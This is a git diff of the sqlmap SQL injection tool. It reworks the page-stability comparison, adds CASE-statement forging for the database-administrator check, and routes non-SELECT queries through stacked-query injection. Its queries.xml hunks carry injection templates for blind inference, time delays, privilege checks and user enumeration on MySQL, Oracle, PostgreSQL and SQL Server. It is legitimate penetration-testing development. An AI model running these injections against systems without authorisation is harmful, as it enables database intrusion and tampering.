diff --git a/doc/ChangeLog b/doc/ChangeLog
index c5263a367..ab7c2d10f 100644
--- a/doc/ChangeLog
+++ b/doc/ChangeLog
@@ -1,7 +1,11 @@
 sqlmap (0.6.4-1) stable; urgency=low
 
+  * Major improvement to the comparison algorithm to make it work also if
+    the page content changes at each refresh; (work in progress)
   * Minor enhancement to support an option (--is-dba) to show if the
     current user is a database management system administrator;
+  * Added support internally to forge CASE statements, used only by
+    --is-dba query at the moment;
   * Major bug fix to avoid tracebacks when multiple targets are specified
     and one of them is not reachable;
   * Minor bug fix to make the --postfix work even if --prefix is not
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 597b3a6b3..8edb65caa 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -306,30 +306,26 @@ def checkStability():
     condition &= secondPage == thirdPage
 
     if condition == False:
-        # Prepare for the comparison algorithm based on Content-Length
-        # header value
-        contentLengths  = []
-        requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
+        # Prepare for the comparison algorithm based on page length value
+        pageLengths  = []
+        requestsPages = ( firstPage, secondPage, thirdPage )
 
-        for requestHeaders in requestsHeaders:
-            requestHeaders = str(requestHeaders).lower()
+        for requestPages in requestsPages:
+            pageLengths.append(len(str(requestPages)))
 
-            clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
+        if pageLengths:
+            conf.pageLengths = ( min(pageLengths) - ( ( min(pageLengths) * 2 ) / 100 ),
+                                 max(pageLengths) + ( ( max(pageLengths) * 2 ) / 100 ) )
 
-            if clHeader and clHeader.group(1).isdigit():
-                contentLengths.append(int(clHeader.group(1)))
+            if conf.pageLengths[0] < conf.pageLengths[1]:
+                warnMsg  = "url is not stable, sqlmap inspected the page "
+                warnMsg += "and identified that page length can be used "
+                warnMsg += "in the comparison algorithm"
+                logger.warn(warnMsg)
 
-        if contentLengths:
-            conf.contentLengths = ( min(contentLengths), max(contentLengths) )
+                kb.defaultResult = True
 
-            warnMsg  = "url is not stable, sqlmap inspected the headers "
-            warnMsg += "and identified that Content-Length can be used "
-            warnMsg += "in the comparison algorithm"
-            logger.warn(warnMsg)
-
-            kb.defaultResult = True
-
-            return True
+                return True
 
         # Prepare for the comparison algorithm based on page content's
         # stable lines subset
diff --git a/lib/core/agent.py b/lib/core/agent.py
index 800be70f9..d656986a3 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -468,5 +468,25 @@ class Agent:
         return limitedQuery
 
 
+    def forgeCaseStatement(self, expression):
+        """
+        Take in input a query string and return its CASE statement query
+        string.
+
+        Example:
+
+        Input:  (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
+        Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
+
+        @param expression: expression to be processed
+        @type num: C{str}
+
+        @return: processed expression
+        @rtype: C{str}
+        """
+
+        return queries[kb.dbms].case % expression
+
+
 # SQL agent
 agent = Agent()
diff --git a/lib/core/common.py b/lib/core/common.py
index 66153ec90..3cb6e61cf 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -40,6 +40,7 @@ from lib.core.data import logger
 from lib.core.data import temp
 from lib.core.exception import sqlmapFilePathException
 from lib.core.data import paths
+from lib.core.settings import SQL_STATEMENTS
 from lib.core.settings import VERSION_STRING
 
 
@@ -493,39 +494,11 @@ def parsePasswordHash(password):
 
 
 def cleanQuery(query):
-    # SQL SELECT statement
-    upperQuery = query.replace("select ", "SELECT ")
-    upperQuery = upperQuery.replace(" from ", " FROM ")
-    upperQuery = upperQuery.replace(" where ", " WHERE ")
-    upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
-    upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
-    upperQuery = upperQuery.replace(" having ", " HAVING ")
-    upperQuery = upperQuery.replace(" limit ", " LIMIT ")
-    upperQuery = upperQuery.replace(" offset ", " OFFSET ")
-    upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
-    upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
+    upperQuery = query
 
-    # SQL data definition
-    upperQuery = upperQuery.replace(" create ", " CREATE ")
-    upperQuery = upperQuery.replace(" drop ", " DROP ")
-    upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
-    upperQuery = upperQuery.replace(" alter ", " ALTER ")
-
-    # SQL data manipulation
-    upperQuery = upperQuery.replace(" insert ", " INSERT ")
-    upperQuery = upperQuery.replace(" update ", " UPDATE ")
-    upperQuery = upperQuery.replace(" delete ", " DELETE ")
-    upperQuery = upperQuery.replace(" merge ", " MERGE ")
-
-    # SQL data control
-    upperQuery = upperQuery.replace(" grant ", " GRANT ")
-
-    # SQL transaction control
-    upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
-    upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
-    upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
-    upperQuery = upperQuery.replace(" commit ", " COMMIT ")
-    upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
+    for sqlStatements in SQL_STATEMENTS.values():
+        for sqlStatement in sqlStatements:
+            upperQuery = upperQuery.replace(sqlStatement, sqlStatement.upper())
 
     return upperQuery
 
diff --git a/lib/core/option.py b/lib/core/option.py
index 3d9050250..c1989968e 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -570,7 +570,7 @@ def __setConfAttributes():
     logger.debug(debugMsg)
 
     conf.cj              = None
-    conf.contentLengths  = []
+    conf.pageLengths     = []
     conf.dbmsHandler     = None
     conf.dumpPath        = None
     conf.equalLines      = []
diff --git a/lib/core/settings.py b/lib/core/settings.py
index f78dc8e15..18a158303 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -68,3 +68,44 @@ SUPPORTED_DBMS    = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIAS
 # TODO: port to command line/configuration file options?
 SECONDS           = 5
 RETRIES           = 3
+
+SQL_STATEMENTS    = {
+                      "SQL SELECT statement":  (
+                                                 "select ",
+                                                 " from ",
+                                                 " where ",
+                                                 " group by ",
+                                                 " order by ",
+                                                 " having ",
+                                                 " limit ",
+                                                 " offset ",
+                                                 " union all ",
+                                                 " rownum ",
+                                               ),
+
+                      "SQL data definition":   (
+                                                 "create ",
+                                                 "drop ",
+                                                 "truncate ",
+                                                 "alter ",
+                                               ),
+
+                      "SQL data manipulation": (
+                                                 "insert ",
+                                                 "update ",
+                                                 "delete ",
+                                                 "merge ",
+                                               ),
+
+                      "SQL data control":      (
+                                                 "grant ",
+                                               ),
+
+                      "SQL transaction":       (
+                                                 "start transaction ",
+                                                 "begin work ",
+                                                 "begin transaction ",
+                                                 "commit ",
+                                                 "rollback ",
+                                               ),
+                    }
diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py
index 96cbe1f1e..ca88d4664 100644
--- a/lib/parse/queriesfile.py
+++ b/lib/parse/queriesfile.py
@@ -107,6 +107,10 @@ class queriesHandler(ContentHandler):
             data = sanitizeStr(attrs.get("query"))
             self.__queries.substring = data
 
+        elif name == "case":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.case = data
+
         elif name == "inference":
             data = sanitizeStr(attrs.get("query"))
             self.__queries.inference = data
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index dc60e66c3..edadd962f 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -68,15 +68,13 @@ def comparison(page, headers=None, content=False):
             return False
 
     # By default it returns the page content MD5 hash
-    if not conf.equalLines and not conf.contentLengths:
+    if not conf.equalLines and not conf.pageLengths:
         return md5.new(page).hexdigest()
 
-    # TODO: go ahead from here
-
-    # Comparison algorithm based on Content-Length header value
-    elif conf.contentLengths:
-        minValue = conf.contentLengths[0] - 10
-        maxValue = conf.contentLengths[1] + 10
+    # Comparison algorithm based on page length value
+    elif conf.pageLengths:
+        minValue = conf.pageLengths[0]
+        maxValue = conf.pageLengths[1]
 
         if len(page) >= minValue and len(page) <= maxValue:
             return True
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 200ddbf00..ea6b77742 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -336,6 +336,8 @@ def goStacked(expression):
     TODO: write description
     """
 
+    expression = cleanQuery(expression)
+
     comment = queries[kb.dbms].comment
     query   = agent.prefixQuery("; %s" % expression)
     query   = agent.postfixQuery("%s;%s" % (query, comment))
diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py
index 7db4defde..be4c056ce 100644
--- a/plugins/generic/enumeration.py
+++ b/plugins/generic/enumeration.py
@@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
 from lib.core.exception import sqlmapNoneDataException
 from lib.core.exception import sqlmapUndefinedMethod
 from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.settings import SQL_STATEMENTS
 from lib.core.shell import autoCompletion
 from lib.core.unescaper import unescaper
 from lib.parse.banner import bannerParser
@@ -120,7 +121,7 @@ class Enumeration:
         infoMsg = "testing if current user is DBA"
         logger.info(infoMsg)
 
-        query = queries[kb.dbms].isDba
+        query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
 
         self.isDba = inject.getValue(query)
 
@@ -1038,10 +1039,33 @@ class Enumeration:
 
 
     def sqlQuery(self, query):
-        infoMsg = "fetching SQL SELECT query output: '%s'" % query
+        output      = None
+        selectQuery = False
+        sqlType     = None
+
+        for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
+            for sqlStatement in sqlStatements:
+                if query.lower().startswith(sqlStatement):
+                    sqlType = sqlTitle
+
+                    if sqlTitle == "SQL SELECT statement":
+                        selectQuery = True
+
+                    break
+
+        if sqlType:
+            infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
+        else:
+            infoMsg = "fetching SQL query output: '%s'" % query
+
         logger.info(infoMsg)
 
-        output = inject.getValue(query, fromUser=True)
+        if selectQuery == False:
+            # TODO: test if stacked queries are supported by the web
+            # application before injecting
+            inject.goStacked(query)
+        else:
+            output = inject.getValue(query, fromUser=True)
 
         if output == "Quit":
             return None
diff --git a/xml/queries.xml b/xml/queries.xml
index b38065946..1ce6629b5 100644
--- a/xml/queries.xml
+++ b/xml/queries.xml
@@ -23,11 +23,12 @@
         -->
         <timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
         <substring query="MID((%s), %d, %d)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
         <banner query="VERSION()"/>
         <current_user query="CURRENT_USER()"/>
         <current_db query="DATABASE()"/>
-        <is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
+        <is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
         <users>
             <inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
             <blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
@@ -74,11 +75,12 @@
         <comment query="--"/>
         <timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
         <substring query="SUBSTR((%s), %d, %d)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
         <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
         <current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
-        <is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
+        <is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
         <users>
             <inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
             <blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
@@ -124,11 +126,12 @@
         <comment query="--" query2="/*"/>
         <timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
         <substring query="SUBSTR((%s)::text, %d, %d)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
         <banner query="VERSION()"/>
         <current_user query="CURRENT_USER"/>
         <current_db query="CURRENT_DATABASE()"/>
-        <is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
+        <is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)='true'"/>
         <users>
             <inband query="SELECT usename FROM pg_user"/>
             <blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
@@ -175,11 +178,12 @@
         <comment query="--" query2="/*"/>
         <timedelay query="WAITFOR DELAY '0:0:%d'"/>
         <substring query="SUBSTRING((%s), %d, %d)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
         <banner query="@@VERSION"/>
         <current_user query="SYSTEM_USER"/>
         <current_db query="DB_NAME()"/>
-        <is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
+        <is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
         <users>
             <inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
             <blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>